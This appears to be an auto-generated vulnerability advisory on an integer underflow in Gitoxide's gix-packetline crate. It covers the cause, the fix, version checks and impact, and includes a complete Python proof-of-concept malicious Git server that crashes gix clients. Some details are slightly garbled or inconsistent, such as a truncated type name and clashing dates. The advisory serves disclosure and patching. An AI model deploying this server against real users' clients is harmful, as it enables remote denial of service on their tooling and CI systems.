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The vulnerability identified as CVE-2026-82250 resides in the `gix-packetline` crate, a core component of the Gitoxide project responsible for handling the Git protocol’s packet-line format. The flaw exists in the `TextRef` implementation, specifically within the `From<&
> for TextRef` conversion, which processes text data from packet lines. The root cause is an integer underflow in the routine that strips a trailing newline character from a byte slice. The code attempts to access `d[d.len() - 1]` unconditionally. When a side-band packet line contains only the band-id byte (e.g., `0x02` for progress or `0x03` for error) with an empty payload, the resulting byte slice `d` has a length of zero. The expression `d.len() - 1` then underflows, resulting in the maximum value for the `usize` type (<code>18446744073709551615</code>). This out-of-bounds index access causes a panic, aborting the client process. A malicious Git server can exploit this by sending a specially crafted side-band packet during a standard `fetch` or `clone` operation. The attack is pre-authentication and network-triggered, requiring no user credentials. The issue affects all versions of `gix-packetline` prior to <code>0.21.5</code>. A related but distinct vulnerability involving unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` also exists and should be addressed in the same hardening pass. The fix, implemented in version <code>0.21.5</code>, involves guarding against the empty-slice case, for example by using `d.strip_suffix(b"\n").unwrap_or(d);` or by checking `!d.is_empty()` before slicing. <h2 style="color: blue;">DailyCVE Form:</h2> Platform: ....... Gitoxide (gix-packetline) Version: ........ < 0.21.5 Vulnerability :...... Integer Underflow / Panic Severity: ....... High (CVSS 4.0: 7.1) date: .......... 2026-08-28 <h2 style="color: blue;">Prediction: 2026-06-16 (Fixed in v0.21.5)</h2> <h2 style="color: blue;">What Undercode Say:</h2> <h2 style="color: blue;">Analytics and forensic commands to verify the vulnerability:</h2> [bash] Check the version of gix-packetline in your Cargo.lock grep -A 2 "gix-packetline" Cargo.lock Check for the vulnerable pattern in the source code grep -rn "d[d.len() - 1]" gix-packetline/src/lib.rs Simulate the panic with a Rust test (requires the vulnerable version) cargo test --package gix-packetline -- --nocapture test_empty_sideband_payload
Exploit: (Educational Purposes!)
The following Python script demonstrates a malicious Git server that triggers the vulnerability:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d):
return ("%04x" % (len(d)+4)).encode() + d
FLUSH = b"0000"
OID = b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
Protocol v2 handshake
c.sendall(pkt(b"version 2\n") + pkt(b"agent=git/evil\n") + pkt(b"ls-refs=unborn\n")
+ pkt(b"fetch=shallow wait-for-done\n") + pkt(b"object-format=sha1\n") + FLUSH)
buf = b""
sent = False
while True:
d = c.recv(65536)
if not d:
return
buf += d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID + b" HEAD symref-target:refs/heads/master\n")
+ pkt(OID + b" refs/heads/master\n") + FLUSH)
sent = True
buf = b""
continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
Malicious packet: length 5, band-id 0x02, EMPTY payload
c.sendall(pkt(b"packfile\n") + b"0005\x02")
try:
c.recv(4096)
except Exception:
pass
return
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print("listening on", PORT)
conn, _ = s.accept()
conn.settimeout(5.0)
try:
handle(conn)
finally:
conn.close()
s.close()
Trigger the vulnerability with the client:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Protection:
- Upgrade: Immediately upgrade to `gix-packetline` version `0.21.5` or later.
- Dependency Update: Update the `gix` crate to a version that includes the patched
gix-packetline. - Input Validation: If a custom implementation is used, ensure that all packet line parsing includes proper bounds checking before indexing.
Impact:
A successful exploitation results in a pre-authentication, network-triggered denial of service. Any application, library, or CI/CD pipeline that uses `gix` or `gix-packetline` to clone from or fetch from an attacker-controlled remote will crash, aborting the process. This can disrupt critical automation workflows and development environments. No user interaction is required, making it particularly dangerous in unattended systems. The attack is easy to execute remotely without any form of authentication.
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Sources:
Reported By: github.com
Extra Source Hub:
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